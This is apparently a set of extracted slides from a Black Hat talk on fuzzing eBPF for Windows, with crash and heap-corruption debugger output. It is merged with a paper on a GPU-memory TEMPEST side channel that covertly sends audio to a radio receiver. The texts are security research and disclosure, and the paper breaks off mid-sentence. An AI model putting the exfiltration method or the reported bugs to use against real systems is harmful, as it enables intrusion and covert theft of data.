Evil eBPF – Jeff Dileo, DEF CON 27 (2019)
Use of BPF_MAPS as IPC
Discussed the unprivileged interface BPF_PROG_TYPE_SOCKET_FILTER
Outlined a technique for ROP chain injection
With Friends like eBPF, who needs enemies – Guillaume Fournier, et al, BH USA 2021
eBPF Rootkit demonstrations hooking syscall returns and userspace APIs
Exfiltration over replaced HTTPS request packets
Extra Better Program Finagling (eBPF) – Richard Johnson, Toorcon 2021
Showed hooks on Linux for tracing intercepting process creation
Preempt loading libc with attacker controlled library (undebuggable from userland)
Hook all running processes
Provide a method for pivoting hooks into systemd-init
Fuzzed and previewed crashes in ubpf and PREVAIL verifier
#BHUSA @BlackHatEvents
Information Classification: General
eBPF for Windows Timeline
eBPF for Windows was announced in May 2021 https://cloudblogs.microsoft.com/opensource/2021/05/10/making-ebpf-work-on-windows/
“So far, two hooks (XDP and socket bind) have been added, and though these are networking-specific hooks,
we expect many more hooks and helpers, not just networking-related, will be added over time.”
August 2021 Microsoft, Netflix, Google, Facebook,
and Isovalent announce the eBPF Foundation as
part of the Linux Foundation
November 2021 added libbpf compatibility
and additional BPF_MAPS support https://cloudblogs.microsoft.com/opensource/2021/11/29/progress-on-making-ebpf-work-on-windows/
February 2022 Microsoft released a blog discussing efforts to port Cillium L4LB load balancer from Linux to
Windows https://cloudblogs.microsoft.com/opensource/2022/02/22/getting-linux-based-ebpf-programs-to-run-with-ebpf-for-windows/
#BHUSA @BlackHatEvents
Information Classification: General
eBPF for Windows Architecture
Unlike the Linux eBPF system which
is entirely contained in the kernel and
used via system calls, the Windows
version splits the system into several
components and imports several
opensource projects including the IO
Visor uBPF VM and the PREVAIL
static verifier*
#BHUSA @BlackHatEvents
Information Classification: General
eBPF for Windows
eBPF for Windows is currently capable of performing introspection and modification of
network packets and exposes a libbpf api compatibility layer for portability
eBPF for Windows is shipped as a standalone component with claims that is for easier
serviceability
eBPF for Windows is MIT Licensed and may be shipped as a component of third party
applications which may extend any of the layers
#BHUSA @BlackHatEvents
Information Classification: General
Creating eBPF Programs on Windows
On Windows, eBPF programs can be compiled from C source using LLVM
#BHUSA @BlackHatEvents
Information Classification: General
Creating eBPF Programs on Windows
The resulting output is an ELF object with eBPF bytecode stored in ELF sections
#BHUSA @BlackHatEvents
Information Classification: General
Creating eBPF Programs on Windows
The resulting output is an ELF object with eBPF bytecode stored in ELF sections
#BHUSA @BlackHatEvents
Information Classification: General
Creating eBPF Programs on Windows
The resulting output is an ELF object with eBPF bytecode stored in ELF sections
#BHUSA @BlackHatEvents
Information Classification: General
Creating eBPF Programs on Windows
Here’s an example of a more practical eBPF program for dropping certain packets
#BHUSA @BlackHatEvents
Information Classification: General
Creating eBPF Programs on Windows
Here’s an example of a more practical eBPF program for dropping certain packets
#BHUSA @BlackHatEvents
Information Classification: General
eBPF for Windows Program Types
BPF_PROG_TYPE_XDP
"Program type for handling incoming packets as early as possible.
Attach type(s): BPF_XDP"
BPF_PROG_TYPE_BIND
"Program type for handling socket bind() requests.
Attach type(s): BPF_ATTACH_TYPE_BIND"
BPF_PROG_TYPE_CGROUP_SOCK_ADDR
"Program type for handling various socket operations
Attach type(s): BPF_CGROUP_INET4_CONNECT BPF_CGROUP_INET6_CONNECT
BPF_CGROUP_INET4_RECV_ACCEPT BPF_CGROUP_INET6_RECV_ACCEPT"
BPF_PROG_TYPE_SOCK_OPS
"Program type for handling socket event notifications such as connection established
Attach type(s): BPF_CGROUP_SOCK_OPS"
#BHUSA @BlackHatEvents
Information Classification: General
eBPF for Windows libbpf API
Partial representation of current helper APIs
#BHUSA @BlackHatEvents
Information Classification: General
eBPF for Windows libbpf API
Partial representation of current helper APIs
#BHUSA @BlackHatEvents
Information Classification: General
eBPF for Windows libbpf API
#BHUSA @BlackHatEvents
Information Classification: General
eBPF for Windows Security Model
eBPF for Windows allows unsigned code to run in the kernel
Current DACLs require Administrative access to interact with the trusted service in
userland or the driver directly via IOCTLs to load eBPF programs
When eBPF bytecode is loaded by the service, a static verifier checks to ensure the
program will terminate within a certain number of instructions and not access out of bounds
memory.
The VM engine then can JIT code to x64 and pass native instructions to the kernel or run in
an interpreted mode executing the eBPF bytecode in the kernel* (Debug mode only)
#BHUSA @BlackHatEvents
Information Classification: General
eBPF for Windows Static Verifier
On Linux, the kernel has it’s own static verifier that runs when eBPF code is loaded via
system calls
On Windows, an opensource component called PREVAIL has been used
PREVAIL has stronger security guarantees and uses abstract interpretation for a sound
analysis
Modern advancements in eBPF such as loops and tail calls are allowed
#BHUSA @BlackHatEvents
Information Classification: General
eBPF for Windows Execution Engine
On Linux, the original kernel implementation of the eBPF bytecode execution engine is
GPL licensed
On Windows, an opensource third party component from the IO Visor Project called uBPF
is used (https://github.com/iovisor/ubpf)
uBPF (Userspace eBPF VM) is BSD licensed and can run in user or kernel contexts
uBPF can be leveraged by other projects as a replacement for Lua or Javascript
#BHUSA @BlackHatEvents
Information Classification: General
eBPF for Windows Security Guarantees
The combination of the static verifier and sandboxed execution attempt to provide the
following security guarantees:
• eBPF Programs will terminate within a reasonable amount of time (limited by instruction
counts, loops are unrolled, etc)
• eBPF Programs will not read memory outside the bounds specified at compile time
• Registers are checked for value ranges, uninitialized use
• Stack references are contained to memory written by the program
• Arguments to function calls are type checked
• Pointers must be checked for NULL before dereferencing
• eBPF for Windows can also be run in a secure HVCI mode*
#BHUSA @BlackHatEvents
Information Classification: General
eBPF for Windows Attack Scenarios
Valid attack scenarios include:
• Code execution as Administrator due to parsing errors on loading 3rd party modules
• Code execution in the trusted service via RPC API implementation errors
• Code execution in the trusted service via static verifier or JIT compiler bugs
• Code execution in the kernel via static verifier, JIT compiler, or interpreter bugs
• Code execution in the kernel via IOCTL implementation errors
• Code execution in the kernel via shim hook implementation errors
#BHUSA @BlackHatEvents
Information Classification: General
eBPF4Win API (ebpfapi.dll)
The initial set of components in the eBPF for
Windows stack involve the user facing API
contained in ebpfapi.dll that allows loading and
unloading programs, creating and deleting
maps, and so on.
ebpfapi.dll is exposed through the bpftool.exe
and netsh interfaces and contains the API set
shown previously for loading programs,
manipulating maps, and the ability to verify ELF
sections from file path or memory
#BHUSA @BlackHatEvents
Information Classification: General
Fuzzing ebpfapi.dll
To fuzz the ELF loading API, we used a
combination of fuzzing the PREVAIL verifier
code on Linux and cross fuzzing as well as
directly harnessing ebpfapi.dll APIs with
libfuzzer
We will show some of the cross fuzzing results
later but here is the first vulnerability we
submitted to Microsoft..
#BHUSA @BlackHatEvents
Information Classification: General
EbpfApi Arbitrary Code Execution
Our first vulnerability is a heap corruption which calls free() on user controlled data during
the parsing of the ELF object containing an eBPF program. Initial corruption occurs during
the parsing of ELF relocation sections.
CommandLine: bpftool.exe prog load crash.o xdp
===========================================================
VERIFIER STOP 000000000000000F: pid 0x2D24: corrupted suffix pattern
00000267F2D91000 : Heap handle
00000267F3AA2FC0 : Heap block
0000000000000038 : Block size
00000267F3AA2FF8 : corruption address
===========================================================
...
0:000> db 00000267F3AA2FF8 l20
00000267`f3aa2ff8 41 41 41 41 00 d0 d0 d0-?? ?? ?? ?? ?? ?? ?? ?? AAAA....????????
00000267`f3aa3008 ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ?? ????????????????
#BHUSA @BlackHatEvents
Information Classification: General
EbpfApi Arbitrary Code Execution
This attack would involve an Administrator loading a malicious prebuilt eBPF program or
compiling a malicious project file which contained header data for an undersized relocation
section which, when free()’d by the destructor for the relocation object would allow an
attacker arbitrary code execution
0:000> k
# Child-SP
RetAddr
Call Site
...
07 0000003c`c56ff060 00007ffc`151185ca
verifier!AVrfp_ucrt_free+0x4d
08 (Inline Function) --------`--------
EbpfApi!std::_Deallocate+0x2a
09 (Inline Function) --------`--------
EbpfApi!std::allocator<ebpf_inst>::deallocate+0x2e
0a (Inline Function) --------`--------
EbpfApi!std::vector<ebpf_inst,std::allocator<ebpf_inst> >::_Tidy+0x40
0b (Inline Function) --------`--------
EbpfApi!std::vector<ebpf_inst,std::allocator<ebpf_inst> >::{dtor}+0x40
0c 0000003c`c56ff090 00007ffc`15144778
EbpfApi!raw_program::~raw_program+0x7a
0d 0000003c`c56ff0c0 00007ffc`15144fac
EbpfApi!read_elf+0x9a8
0e 0000003c`c56ff550 00007ffc`15114fa0
EbpfApi!read_elf+0xbc
0f 0000003c`c56ff790 00007ffc`1510151b
EbpfApi!load_byte_code+0x140
10 0000003c`c56ffa50 00007ffc`1510374d
EbpfApi!_initialize_ebpf_object_from_elf+0x16b
11 0000003c`c56ffb30 00007ffc`1513c81e
EbpfApi!ebpf_object_open+0x1ed
#BHUSA @BlackHatEvents
Information Classification: General
EbpfApi Arbitrary Code Execution
Due to the looping nature of ELF parsing and arbitrary control of sizes and contents, we
have high confidence this vulnerability can be exploited in practice
0:000> !heap -p -a 000001e45c188c98
address 000001e45c188c98 found in
_HEAP @ 1e45c100000
HEAP_ENTRY Size Prev Flags
UserPtr UserSize – state
000001e45c188c10 000b 0000
[00]
000001e45c188c60
00038 - (busy)
7ffc18c044c1 verifier!AVrfDebugPageHeapAllocate+0x0000000000000431
...
7ffc1513caef EbpfApi!operator new+0x000000000000001f
7ffc151425f4 EbpfApi!std::vector<ebpf_inst,std::allocator<ebpf_inst> >::_Range_construct_or_tidy<ebpf_inst *
__ptr64>+0x0000000000000064
7ffc15142c67 EbpfApi!ELFIO::relocation_section_accessor_template<ELFIO::section const
>::generic_get_entry_rela<ELFIO::Elf64_Rela>+0x0000000000000177
7ffc15144258 EbpfApi!read_elf+0x0000000000000488
7ffc15144fac EbpfApi!read_elf+0x00000000000000bc
7ffc15114fa0 EbpfApi!load_byte_code+0x0000000000000140
7ffc1510151b EbpfApi!_initialize_ebpf_object_from_elf+0x000000000000016b
7ffc1510374d EbpfApi!ebpf_object_open+0x00000000000001ed
#BHUSA @BlackHatEvents
Information Classification: General
eBPF4Win Service (ebpfsvc.dll)
The eBPF for Windows Service contains PREVAIL and
uBPF code bases and exposes an RPC based API
The RPC service exports a single API for verifying and
loading a program:
ebpf_result_t verify_and_load_program(
[ in, ref ] ebpf_program_load_info * info,
[ out, ref ] uint32_t * logs_size,
[ out, size_is(, *logs_size), ref ] char** logs);
#BHUSA @BlackHatEvents
Information Classification: General
eBPF4Win Service (ebpfsvc.dll)
The verify_and_load_program RPC API is called
through the internal API ebpf_program_load_bytes
function that is ultimately exposed as part of the libbpf
API bpf_prog_load
It is also called by the ebpf_object_load function
which is contained in EbpfAPI and is how netsh and
bpftool load programs via the service
#BHUSA @BlackHatEvents
Information Classification: General
PREVAIL Static Verifier
The PREVAIL Static Verifier is “a Polynomial-
Runtime EBPF Verifier using an Abstract
Interpretation Layer”
Designed to be faster and more precise than the
Linux static verifier and it is dual licensed MIT and
Apache so it can be used anywhere alongside uBPF
#BHUSA @BlackHatEvents
Information Classification: General
PREVAIL Static Verifier
It includes a simple standalone tool called ‘check’
which is easily fuzzed with a file fuzzing approach
#BHUSA @BlackHatEvents
Information Classification: General
Fuzzing PREVAIL
#BHUSA @BlackHatEvents
Information Classification: General
Fuzzing PREVAIL
#BHUSA @BlackHatEvents
Information Classification: General
Fuzzing PREVAIL
#BHUSA @BlackHatEvents
Information Classification: General
Fuzzing PREVAIL
#BHUSA @BlackHatEvents
Information Classification: General
Fuzzing PREVAIL
#BHUSA @BlackHatEvents
Information Classification: General
uBPF
uBPF (Userspace BPF) is an independent
reimplementation of the eBPF bytecode interpreter
and JIT engine that is BSD licensed and can run in
user or kernel contexts
Similar to PREVAIL, uBPF comes with a simple
reference implementation of the VM with the ability to
load and run eBPF programs. It does not have any
helper functions or maps available and is only a virtual
CPU and execution environment
#BHUSA @BlackHatEvents
Information Classification: General
Fuzzing uBPF
#BHUSA @BlackHatEvents
Information Classification: General
Fuzzing uBPF
#BHUSA @BlackHatEvents
Information Classification: General
Fuzzing uBPF JIT
#BHUSA @BlackHatEvents
Information Classification: General
Fuzzing uBPF JIT
#BHUSA @BlackHatEvents
Information Classification: General
Fuzzing uBPF JIT
#BHUSA @BlackHatEvents
Information Classification: General
Fuzzing uBPF JIT
#BHUSA @BlackHatEvents
Information Classification: General
Fuzzing ebpfsvc.dll
Our initial attempts at fuzzing involved cross fuzzing
using the pile of crashes we had found in the
individual components but we were hitting crashes
too early in the API
We began fuzzing with WTF but this coincided with
the checkin of Microsoft’s own libfuzzer harness for
PREVAIL which found many of the same bugs so no
new bugs were found
#BHUSA @BlackHatEvents
Information Classification: General
eBPF4Win Kernel (ebpfcore.sys)
In addition to the RPC interface exposed by the eBPFSvc
the kernel module exposes a set of IOCTLs for
manipulating programs and maps
Currently the ACL on the Device Object requires
Administrator privileges so the impact is limited at this
point in time, however this is meant to be proactive
vulnerability analysis so we will fuzz the IOCTL layer
#BHUSA @BlackHatEvents
Information Classification: General
ebpfcore.sys IOCTL Interface
IOCTL Functions
0x0 resolve_helper
0x10 get_ec_function
0x1 resolve_map
0x11 get_program_info
0x2 create_program
0x12 get_pinned_map_info
0x3 create_map
0x13 get_link_handle_by_id
0x4 load_code
0x14 get_map_handle_by_id
0x5 map_find_element
0x15 get_program_handle_by_id
0x6 map_update_element
0x16 get_next_link_id
0x7 map_update_element_with_handle
0x17 get_next_map_id
0x8 map_delete_element
0x18 get_next_program_id
0x9 map_get_next_key
0x19 get_object_info
0xa query_program_info
0x1a get_next_pinned_program_path
0xb update_pinning
0x1b bind_map
0xc get_pinned_object
0x1c ring_buffer_map_query_buffer
0xd link_program
0x1d ring_buffer_map_async_query
0xe unlink_program
0x1e load_native_module
0xf close_handle
0x1f load_native_programs
#BHUSA @BlackHatEvents
Information Classification: General
Fuzzing ebpfcore.sys
The majority of attack surface is available via fuzzing the
IOCTL interface for ebpfcore.sys
To fuzz kernel attack surface a more sophisticated
technique was used
Emulation and snapshot based fuzzing was used
leveraging the WTF fuzzer tool from Axel Souchet
Multiple IOCTL requests can be sent in sequence
between memory restoration from snapshot
#BHUSA @BlackHatEvents
Information Classification: General
Snapshot Fuzzing
An advanced fuzzing technique that uses
emulators to continue code execution of a
snapshot of a live system to allow researchers to
fuzz specific areas of code.
Benefits:
•
Allows researchers to create small and quick fuzzing
loops in complex programs.
•
Allows researchers to create large amounts of complexity
in the program before fuzzing so that the fuzzer does not
need to set up complexity.
•
Allows researchers to fuzz "hard to reach" areas of code.
#BHUSA @BlackHatEvents
Information Classification: General
WTF Fuzzer
WTF Fuzzer
Advantages
▪ Distributed
▪ Code-Coverage Guided
▪ Customizable
▪ Cross Platform
Tradeoffs
▪ Out of the box cannot
handle:
– Task Switching
– Device IO
▪ Still in Development
#BHUSA @BlackHatEvents
Information Classification: General
WTF Fuzzer
To write a fuzzer with WTF, a
few functions must be
implemented
Init() sets up breakpoints in the
emulator to handle events
InsertTestcase() is called with
fuzzed data
#BHUSA @BlackHatEvents
Information Classification: General
WTF Fuzzer
There are also optional
callbacks for custom data
generators and the snapshot
restore event
For multi-packet or IOCTL
requests, the user implements
a serialization format
#BHUSA @BlackHatEvents
Information Classification: General
WTF vs ebpfcore.sys
We created a harness based on the excellent tlv_server
harness that is included with WTF. The original is
designed to simulate sending multiple network packets to
an interface.
We forked this code and had it send IOCTL requests via
DeviceIOControlFile calls instead
#BHUSA @BlackHatEvents
Information Classification: General
WTF vs ebpfcore.sys
For multi IOCTL requests
we created a JSON based
serialization format
The serialized testcase
contains an array of
requests that include the
bytes of the data in the
Body along with the
Length, IOCTL
OperationID, and expected
ReplyLength
#BHUSA @BlackHatEvents
Information Classification: General
_ebpf_murmur3_32 Crash
Crash Type: Read Access Violation
Crash Cause:
• By setting the length in the packet header to a value
less than the offset to the path in the packet struct you
can underflow the length of the string struct created.
• The string is then passed into the ebpf_murmur
function along with the length, at which point the loop
inside the function will read past the end of the string
and into memory it should not have access to.
#BHUSA @BlackHatEvents
Information Classification: General
_ebpf_murmur3_32 Crash
#BHUSA @BlackHatEvents
Information Classification: General
ubpf_destroy Crashes
Crash Type: Null Pointer Dereference
Crash Cause:
• ubpf_create runs out of memory while trying to calloc
space for structs due to memory exhaustion.
• The function fails and returns a null value for the vm
which is then passed into ubpf_destroy
causing different null pointer dereferences depending
on when the program ran out of memory.
• Note: multiple unique variations were found
#BHUSA @BlackHatEvents
Information Classification: General
ubpf_destroy Crashes
#BHUSA @BlackHatEvents
Information Classification: General
trampoline_table Crash
Crash Type: Null Pointer Dereference
Crash Cause:
• When a program is created a callback is added to it which is trigger under certain
conditions.
• If a resolve helper call is done on the program the callback is triggered, however, if the
resolve helper function fails then the trampoline_table can become null.
• If the user then tries to load code the program will crash due to a null dereference.
#BHUSA @BlackHatEvents
Information Classification: General
trampoline_table Crash
#BHUSA @BlackHatEvents
Information Classification: General
trampoline_table Crash
#BHUSA @BlackHatEvents
Information Classification: General
AFL-NYX vs ebpfcore.sys
In addition to WTF, we also ported the same harness to
the NYX hypervisor based snapshot fuzzer to assess
capabilities and performance
NYX had significantly faster execution speed compared to
WTF but did not find unique bugs due to the thoroughness
of the initial fuzzer design
We did of course find similar bugs..
#BHUSA @BlackHatEvents
Information Classification: General
AFL-NYX vs ebpfcore.sys
#BHUSA @BlackHatEvents
Information Classification: General
eBPF4Win Kernel Extension Modules
eBPF for Windows is designed with a modular architecture on the kernel side
Instrumentation support is added to eBPF for Windows via “extension modules”
The current implementation provides a network shimming interface to allow for packet
inspection and rewriting at multiple levels
#BHUSA @BlackHatEvents
Information Classification: General
eBPF4Win Network Shims (netebpfext.sys)
Microsoft is currently focused on observing and
instrumenting network packets in the current eBPF
implementation
Hook implementations can contain exploitable bugs
that may be hard to detect
In this case we did a manual code review of the xdp,
bind, and cgroup hooks and did not find any
implementation errors.
#BHUSA @BlackHatEvents
Information Classification: General
eBPF4Win Code Hooks
On Linux, eBPF has strong integration with uprobe, kprobe, and tracepoint code hooking
interfaces
Microsoft has libraries capable of providing similar code hooking abilities such as Detours
Currently code hooking is not supported via eBPF for Windows
An additional kernel extension module for code hooking can be added in the future to sit
alongside netebpfext.sys
#BHUSA @BlackHatEvents
Information Classification: General
Concluding Thoughts
• eBPF is exciting technology for telemetry and instrumentation on modern operating
systems
• Microsoft has adapted opensource projects uBPF and PREVAIL to provide the
foundation for their eBPF implementation
• We found one serious ACE vulnerability and several robustness bugs during our fuzzing
of the driver and userland loader code
• Microsoft has been quickly adding fuzz testing to their repo since May which has fixed
many of the bugs found in the opensource projects
• With the creation of the eBPF foundation backed by several major industry players,
eBPF is positioned to become a core technology for desktop, server, and cloud
• Trellix is committed to proactive vulnerability research to benefit the community
#BHUSA @BlackHatEvents
Information Classification: General
Thank you!
Richard Johnson, Trellix
@richinseattle on Twitter | pdf |
1
TEMPEST radio station
Paz Hameiri
https://il.linkedin.com/in/paz-hameiri-251b11143
Abstract
TEMPEST is a cyber security term that refers to the use of electromagnetic energy emissions
generated by electronic devices to leak data out of a target device. The attacks may be passive
(where the attacker receives the emissions and recovers the data) or active (where the attacker
uses dedicated malware to target and emit specific data). In this paper I present a new side
channel attack that uses GPU memory transfers to emit electromagnetic waves which are then
received and processed by the attacker. Software developed for this work encodes audio on
one computer and transmits it to the reception equipment positioned fifty feet away. The
signals are received and processed and the audio is decoded and played. The maximum bit
rate achieved was 33kbit/s and more than 99% of the packets were received. Frequency
selection not only enables maximization of signal quality over distance, but also enables the
attacker to receive signals from a specific computer when several computers in the area are
active. The software developed demonstrates audio packets transfers, but other types of
digital data may be transmitted using the same technique.
Introduction
Electronic circuits emit electromagnetic waves. Copper
traces on printed circuit boards and wires act like antennas as
they emit electromagnetic waves generated by the electric
current flowing through the conductors.
TEMPEST (Telecommunications Electronics Materials
Protected from Emanating Spurious Transmissions) is a U.S.
National Security Agency (NSA) specification and a NATO
certification. The acronym refers to information leakage from
a system through unintentional radio signals, audio signals,
electrical signals, etc. TEMPEST attacks were brought to
public attention by Eck [1] in 1985. In a later work by Kuhn
and Anderson [2], techniques that enable software to use the
video card to control electromagnetic radiation emitted from
its VGA lines are discussed. The attacker installs malware in
the target computer which then manipulates the signals to emit
targeted data. These are picked up by the attacker.
Thiele [3] demonstrated how audio can be transmitted from
a target computer using software which generates patterns
from the output of the graphics card. The audio is received
and processed by an AM radio receiver. Subsequently, Kania
[4] wrote a software program that transmits audio via VGA
output which is received and processed by an FM radio
receiver. Guri et al [5] demonstrated a TEMPEST attack by
using the output of a graphics card to generate signals which
were turned into electromagnetic waves by the video cables.
Three types of output were examined – VGA, HDMI and
DVI.
Proposed side channel attack
The side channel attack proposed by this work uses GPU
memory transfers to emit electromagnetic waves which are
then picked up by the attacker’s antenna. These are converted
to electric signals that are amplified by a low noise amplifier
(LNA). The amplified signals are received by a software-
defined radio (SDR) receiver and the leaked data is recovered
by software on the attacker’s computer. The end-to-end setup
is shown in Figure 1.
Software named “Scotty” was written to transmit audio
from the target computer. The software performs the
following tasks:
1. Measuring the time required to perform large GPU
memory transfers
2. Calculating the amount of data required to perform a
memory transfer in a pre-defined amount of time. This
amount of data shall hereafter be defined as the
“MemoryBlockSize”
3. Setting memory clock frequency
2
4. Loading a WAV file and transmitting audio packets in
one-second cycles in the following manner:
4.1. Taking a predefined amount of PCM samples and
encoding each sample with a G.726 audio encoder
to reduce the number of bits per sample
4.2. Creating an audio data packet comprised of a
packet counter and the encoded audio data
4.3. Calculating an error detection value for the audio
packet and adding it to the audio packet
4.4. Using a Reed-Solomon forward error correction
(FEC) encoding algorithm to calculate parity data
for the audio packet
4.5. Transmitting the data in the following order:
•
Header data
•
Reed-Solomon parity data
•
Audio packet data
4.6. When a specific amount of data intended to be
tranmitted during a one-second interval has been
transmitted, the software stops transmitting data
and waits for the one-second interval to elapse
before starting a new packet transmission cycle.
Target
Antenna
LNA
SDR
Attacker
Figure 1: Radio setup
Data transmission is done in the following manner:
1. A symbol is built from a pre-defined amount of data
bits
2. For a given symbol, the amount of data that needs to
be copied is calculated by multiplying (symbol value
+ 1) by MemoryBlockSize
3. The GPU memory transfer is performed.
Each memory write cycle generates clock signals, control
signals and data signals. An example of GDDR6 timing
diagram is shown in Figure 2. Every signal passing in a PCB
trace emits energy. The data transfers are performed by a
direct memory access (DMA) mechanism in a repetitive
process per unit time. For each symbol transferred,
electromagnetic energy is transmitted during the time frame
of the memory transfer. A high bandwidth memory transfer
involves the use of several memory components, generating a
given amount of energy per component and a larger amount
of energy per graphics card. If a memory transfer is not
performed, data is not written and energy is not emitted. This
bi-state energy transmission is called on/off keying
modulation, or OOK. An example of symbol emission versus
time is shown in Figure 3.
Data
WCK
CA
CK
f (e.g. 1.5GHz)
2f (e.g. 3.0GHz)
4f (e.g. 6.0GHz)
8f (e.g. 12.0GHz)
Figure 2: GDDR6 memory timing diagram
time
Energy
Symbol n
Symbol n+1
Symbol n+2
Figure 3: Electromagnetic wave emission vs time
Before the attack, the attacker selects the designated clock
frequency. To maximize signal quality over distance, the
attacker tries to select a bandwidth with as little interference
as possible. Frequency selection not only maximizes signal
quality and transmission distance, but also enables the
attacker to receive signals from a specific computer in the case
where there are other computers in the area that are active.
I wrote a software program named “Spock” to receive the
emitted signals and recover the audio. The software performs
the following tasks:
1. Setting up the SDR receiver
2. Receiving cyclic batches of I-Q samples from the SDR
receiver
3. Calculating the absolute amplitude of the I-Q received
vector
4. Filtering the data with a low pass filter
5. Calculating amplitude thresholds to recover the bits
from the filtered data
6. Recovering the symbols using the calculated
amplitude thresholds and a minimum time threshold
(to filter short-term noise).
7. Saving the length of each symbol in a buffer.
When the symbol length buffer holds enough symbols to
process a data packet, the buffer content is analyzed in the
following manner:
8. Searching a series of symbols lengths which are
proportional to the header symbol’s length
9. Recovering the basic time unit which the transmitter
takes to transmit a single MemoryBlockSize
3
10. Recovering the series’ symbol values and verifying
that they are equal to the header data
11. Recovering the data packet from the rest of the
symbols (Reed-Solomon parity data and audio packet
data)
12. Using a Reed-Solomon forward error correction
decoding algorithm to recover the received audio
packet data
13. Calculating the error detection value for the audio
packet and verifying that it is equal to the value
calculated by the transmitting software. If the numbers
are equal – a good packet was received.
14. Examining the packet counter. If no packets from the
last packet reception were missed, the software
decodes the audio PCM samples from the audio packet
using a G.726 decoder. If packets were lost, the
missing samples are replaced by a constant value
15. Storing the audio PCM samples in a buffer
16. Playing the audio PCM samples while filling the
buffer with new incoming data.
Test setup
Tests were performed using two computers as transmitters:
1. An ASUS G731GU-BI7N9 laptop containing an
nVIDIA GeForce GTX 1660 Ti GPU with dedicated
6GB GDDR6 RAM, an Intel i7-9750H processor and
16GB RAM installed
2. A desktop computer containing an ASUS TUF-
GTX1650S-4G-GAMING card (nVIDIA GeForce
GTX 1650 SUPER GPU with a dedicated 4GB
GDDR6 RAM installed) and an ASUS B150M-C
motherboard with an Intel i7-6700K processor and
16GB RAM installed.
As free space path loss is proportional to signal frequency,
the memory clock frequency was selected for reception.
Transmission parameters were set:
•
Memory clock frequency = 1566.75 MHz
Frequency was set and measured using nVIDIA’s
NVAPI
•
MemoryBlockSize transmission time = 14 µsec
•
Symbol size = 4 bits per symbol.
The memory clock frequency was selected after a site
survey showed minimum interference at a bandwidth of 10
MHz. The site survey was conducted using the reception
equipment and Steve Andrew’s “RSP Spectrum Analyser”
software.
For MemoryBlockSize transmission time = 14 µsec, the
minimal symbol length equals 14 (1 * 14) µsec, and the
maximal symbol length equals 224 µsec (16 * 14). Memory
transfers were made with nVIDIA CUDA’s cudaMemcpy
command, followed by a cudaDeviceSynchronize command.
The average time measured between adjacent symbols and
byte transmission time range is shown in Table 1.
Computer
Average time
between adjacent
symbols [µs]
Shortest byte
transmission
time [µs]
Longest byte
transmission
time [µs]
Laptop
36.7
101
521
Desktop
61.4
151
571
Table 1: Average time between adjacent symbols and byte time
range
The Reed-Solomon FEC properties were set to:
•
Block size = 255
•
Data bytes = 235
•
Parity bytes = 20
The transmission structure was comprised of 90 bytes:
•
4 Header bytes
•
20 Reed-Solomon parity bytes
•
1 Packet counter byte
•
63 Encoded audio bytes
•
2 Checksum bytes
Audio properties were set to:
•
8000 PCM samples per seconds
•
G.726 encoding = 2 bits per sample
On average 2 packets were transmitted every second, each
packet delivering 252 encoded PCM samples. The last packet
was set to transfer 47 bytes instead of 63 to yield a total of
8000 encoded PCM samples per second.
Radio frequency equipment used:
•
A 1.35GHz-9.5GHz 8x10cm Log Periodic
Antenna with 5-6db gain
•
1MHz to 3GHz low noise amplifier with 20dB
gain and 2dB noise factor. Gain at 1.5GHz: 16dB
•
SDRplay RSP1A receiver.
Test results
The transmitting computer and the reception equipment
were placed 50 feet apart and at opposite ends of an
apartment. The transmitting desktop computer was placed
with its rear side facing the reception equipment as it was
found that it emits the most energy from that side. The
transmitting laptop computer was placed with its front side
facing the reception equipment, as both the front and rear
sides emitted significant energy. The desktop computer setup
is shown in Figure 4. The reception equipment is shown in
Figure 5. The space between the transmitting computer and
the reception equipment is show in Figure 6.
4
Figure 4: Desktop computer setup
Figure 5: Reception setup
Figure 6: Line of sight between the transmitting computer and the
reception equipment
The received clock signal from the desktop computer is
shown in Figure 7. The signal is generated by a “spread
spectrum clock generator.” The clock signal is frequency
modulated to “spread” radiated energy across a frequency
band. The goal of this method is to comply with
electromagnetic compatibility regulations. A sample of the
reception process stages is shown in Figure 8.
Figure 7: Received clock signal 50 feet away from the desktop
computer. Frequency span between 1562.5 MHz and 1567.5 MHz.
Figure 8: A sample for received and processed symbols. The upper
graph shows sample of the absolute value of the received vector.
The middle graph shows the data after filtering. The lower graph
shows the symbols recovered from the data.
Measured average packet bit rate and packets reception
quality are shown in Table 2. For valid packet percentage
measurements, two results were documented – one when the
monitor was on and one when the monitor was off (following
Windows’ power saving plan). In both cases the recovered
audio quality was good, considering the sampling rate and
G.726 codec.
Computer
Average bit
rate [kbit/s]
Valid packets
received with
the monitor
turned on [%]
Valid packets
received with
the monitor
turned off [%]
Laptop
26
> 99
Irrelevant
Desktop
23
89.5
> 99
Table 2: Average bit rate and average valid packets received at 50
feet
5
To achieve best audio quality, the following setup changes
were made:
•
MemoryBlockSize transmission time = 8 µsec
•
Reed-Solomon data bytes = 251
•
Reed-Solomon parity bytes = 4
•
G.726 encoding = 2 bits per sample
On average eight packets were transmitted every second,
each packet delivering 168 encoded PCM samples. The last
packet was set to transfer 39 bytes instead of 63, yielding a
total of 8000 encoded PCM samples per second.
Measured average packet bit rate and packet reception
quality are shown in Table 3. In both cases the recovered
audio quality was good, considering the sampling rate and
G.726 codec.
Computer
Best audio
quality setup
average bit
rate [kbit/s]
Valid packets
received with
the monitor
turned on [%]
Valid packets
received with
the monitor
turned off [%]
Laptop
33
> 99
Irrelevant
Desktop
30
Low
> 99
Table 3: Best audio quality average bit rate and average valid
packets received at 50 feet
Discussion
The tests showed good results when the distance between
the transmitter and the reception equipment was fifty feet and
within a line of sight. It was not tested at longer distances due
to the physical limitations of the facility. Tests performed at
different locations in the facility showed similar results at
distances smaller than 50 feet.
Tests also showed that the desktop computer emitted
signals which were not generated by Scotty. The laptop
computer did not emit such signals. These signals are most
likely related to the display activity, as the computer stops
transmitting these signals once the monitor is turned off by
the Windows power plan. The laptop uses Windows Intel’s
integrated, power-saving GPU for most applications. It
automatically switches to the discrete, high-performance
GPU when an application requires more performance. The
desktop computer uses discrete GPU by default. To verify
this, when the desktop computer was booted with the monitor
connected to the integrated GPU HDMI output, the
interferences were not received and the ratio of good packets
exceeded 99% with the monitor on.
This work demonstrates transmission of audio data which
can be done continuously without stop, 24/7. The same
technique may be used to extract other types of data from a
target computer 24/7. Thus, an attacker may choose to extract
the desired data during non-working hours when the monitor
is turned off, or the GPU is idle and there’s no close
supervision of computer activities. If the monitor is not turned
off by the Windows power saving plan, the attacker may turn
it off at the time of the attack.
Future directions
This work focused on reception of electromagnetic waves
emitted by the base memory clock signal of the discrete GPU
memory. Other signals should also be explored as well. An
